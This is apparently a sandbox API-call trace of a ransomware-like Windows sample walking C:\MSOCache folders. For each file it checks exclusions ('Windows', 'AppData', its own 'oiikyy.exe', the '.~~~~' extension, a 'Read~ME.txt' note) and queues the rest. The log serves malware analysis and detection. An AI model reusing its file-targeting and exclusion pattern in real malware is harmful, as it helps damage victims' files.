	[0064.536] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1
	[0064.536] lstrcmpW (lpString1="Proof.msi", lpString2="oiikyy.exe") returned 1
	[0064.536] StrStrW (lpFirst="Proof.msi", lpSrch=".~~~~") returned 0x0
	[0064.537] lstrcmpW (lpString1="Proof.msi", lpString2="Read~ME.txt") returned -1
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa940
	[0064.537] RtlWakeConditionVariable () returned 0x365f48
	[0064.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0064.537] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1
	[0064.537] lstrcmpW (lpString1="Proof.xml", lpString2="oiikyy.exe") returned 1
	[0064.537] StrStrW (lpFirst="Proof.xml", lpSrch=".~~~~") returned 0x0
	[0064.537] lstrcmpW (lpString1="Proof.xml", lpString2="Read~ME.txt") returned -1
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de70
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa9f8
	[0064.537] RtlWakeConditionVariable () returned 0x365f48
	[0064.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0064.537] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0064.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.537] GetCurrentThreadId () returned 0x618
	[0064.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dea8
	[0064.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3faab0
	[0064.538] RtlWakeConditionVariable () returned 0x365f48
	[0064.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.538] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0064.538] lstrcmpiW (lpString1="Proof.fr", lpString2="Windows") returned -1
	[0064.538] lstrcmpW (lpString1="Proof.fr", lpString2=".") returned 1
	[0064.538] lstrcmpW (lpString1="Proof.fr", lpString2="..") returned 1
	[0064.538] lstrcmpW (lpString1="Proof.fr", lpString2="AppData") returned 1
	[0064.538] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpSrch="AppData") returned 0x0
	[0064.538] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.538] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpString2="C:\\Windows") returned -1
	[0064.538] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.538] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpString2="C:\\System Volume Information") returned -1
	[0064.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0064.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0064.539] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.539] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.539] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.539] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.539] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0064.539] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.539] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.539] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.539] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.539] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.539] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0064.539] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1
	[0064.539] lstrcmpW (lpString1="Proof.cab", lpString2="oiikyy.exe") returned 1
	[0064.539] StrStrW (lpFirst="Proof.cab", lpSrch=".~~~~") returned 0x0
	[0064.539] lstrcmpW (lpString1="Proof.cab", lpString2="Read~ME.txt") returned -1
	[0064.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.539] GetCurrentThreadId () returned 0x618
	[0064.539] GetCurrentThreadId () returned 0x618
	[0064.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dee0
	[0064.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fab68
	[0064.539] RtlWakeConditionVariable () returned 0x365f48
	[0064.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0064.540] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1
	[0064.540] lstrcmpW (lpString1="Proof.msi", lpString2="oiikyy.exe") returned 1
	[0064.540] StrStrW (lpFirst="Proof.msi", lpSrch=".~~~~") returned 0x0
	[0064.540] lstrcmpW (lpString1="Proof.msi", lpString2="Read~ME.txt") returned -1
	[0064.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.540] GetCurrentThreadId () returned 0x618
	[0064.540] GetCurrentThreadId () returned 0x618
	[0064.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df18
	[0064.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fac20
	[0064.540] RtlWakeConditionVariable () returned 0x365f48
	[0064.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0064.540] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1
	[0064.540] lstrcmpW (lpString1="Proof.xml", lpString2="oiikyy.exe") returned 1
	[0064.540] StrStrW (lpFirst="Proof.xml", lpSrch=".~~~~") returned 0x0
	[0064.540] lstrcmpW (lpString1="Proof.xml", lpString2="Read~ME.txt") returned -1
	[0064.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.541] GetCurrentThreadId () returned 0x618
	[0064.541] GetCurrentThreadId () returned 0x618
	[0064.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df50
	[0064.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3facd8
	[0064.541] RtlWakeConditionVariable () returned 0x365f48
	[0064.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.541] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0064.541] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0064.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.541] GetCurrentThreadId () returned 0x618
	[0064.541] GetCurrentThreadId () returned 0x618
	[0064.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df88
	[0064.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fad90
	[0064.541] RtlWakeConditionVariable () returned 0x365f48
	[0064.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.542] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1
	[0064.542] lstrcmpiW (lpString1="Proofing.msi", lpString2="Windows") returned -1
	[0064.542] lstrcmpW (lpString1="Proofing.msi", lpString2="oiikyy.exe") returned 1
	[0064.542] StrStrW (lpFirst="Proofing.msi", lpSrch=".~~~~") returned 0x0
	[0064.542] lstrcmpW (lpString1="Proofing.msi", lpString2="Read~ME.txt") returned -1
	[0064.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0064.542] GetCurrentThreadId () returned 0x618
	[0064.542] GetCurrentThreadId () returned 0x618
	[0064.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dfc0
	[0064.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0064.542] RtlWakeConditionVariable () returned 0x365f48
	[0064.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0064.542] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1
	[0064.542] lstrcmpiW (lpString1="Proofing.xml", lpString2="Windows") returned -1
	[0064.542] lstrcmpW (lpString1="Proofing.xml", lpString2="oiikyy.exe") returned 1
	[0064.542] StrStrW (lpFirst="Proofing.xml", lpSrch=".~~~~") returned 0x0
	[0064.542] lstrcmpW (lpString1="Proofing.xml", lpString2="Read~ME.txt") returned -1
	[0064.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dff8
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0064.543] RtlWakeConditionVariable () returned 0x365f48
	[0064.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0064.543] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.543] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.543] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.543] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.543] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e030
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0064.543] RtlWakeConditionVariable () returned 0x365f48
	[0064.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0064.543] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.543] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.543] GetCurrentThreadId () returned 0x618
	[0064.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e068
	[0064.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0064.544] RtlWakeConditionVariable () returned 0x365f48
	[0064.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0064.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.546] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1
	[0064.546] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.546] lstrcmpW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.546] lstrcmpW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.546] lstrcmpW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.546] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.546] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.546] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.546] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.546] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.579] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.579] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.579] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.579] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.579] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.579] GetCurrentThreadId () returned 0x618
	[0064.579] GetCurrentThreadId () returned 0x618
	[0064.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0064.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0064.579] RtlWakeConditionVariable () returned 0x365f48
	[0064.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.579] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.579] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.579] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.579] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.579] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.579] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.579] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.579] GetCurrentThreadId () returned 0x618
	[0064.579] GetCurrentThreadId () returned 0x618
	[0064.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e5c0
	[0064.580] RtlWakeConditionVariable () returned 0x365f48
	[0064.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.580] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0064.580] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="Windows") returned -1
	[0064.580] lstrcmpW (lpString1="Office32MUI.msi", lpString2="oiikyy.exe") returned -1
	[0064.580] StrStrW (lpFirst="Office32MUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.580] lstrcmpW (lpString1="Office32MUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e8a0
	[0064.580] GetCurrentThreadId () returned 0x618
	[0064.580] GetCurrentThreadId () returned 0x618
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fae48
	[0064.580] RtlWakeConditionVariable () returned 0x365f48
	[0064.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8a0 | out: hHeap=0x300000) returned 1
	[0064.580] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0064.580] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="Windows") returned -1
	[0064.580] lstrcmpW (lpString1="Office32MUI.xml", lpString2="oiikyy.exe") returned -1
	[0064.580] StrStrW (lpFirst="Office32MUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.580] lstrcmpW (lpString1="Office32MUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3faf00
	[0064.580] GetCurrentThreadId () returned 0x618
	[0064.580] GetCurrentThreadId () returned 0x618
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0064.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e8a0
	[0064.580] RtlWakeConditionVariable () returned 0x365f48
	[0064.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faf00 | out: hHeap=0x300000) returned 1
	[0064.581] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1
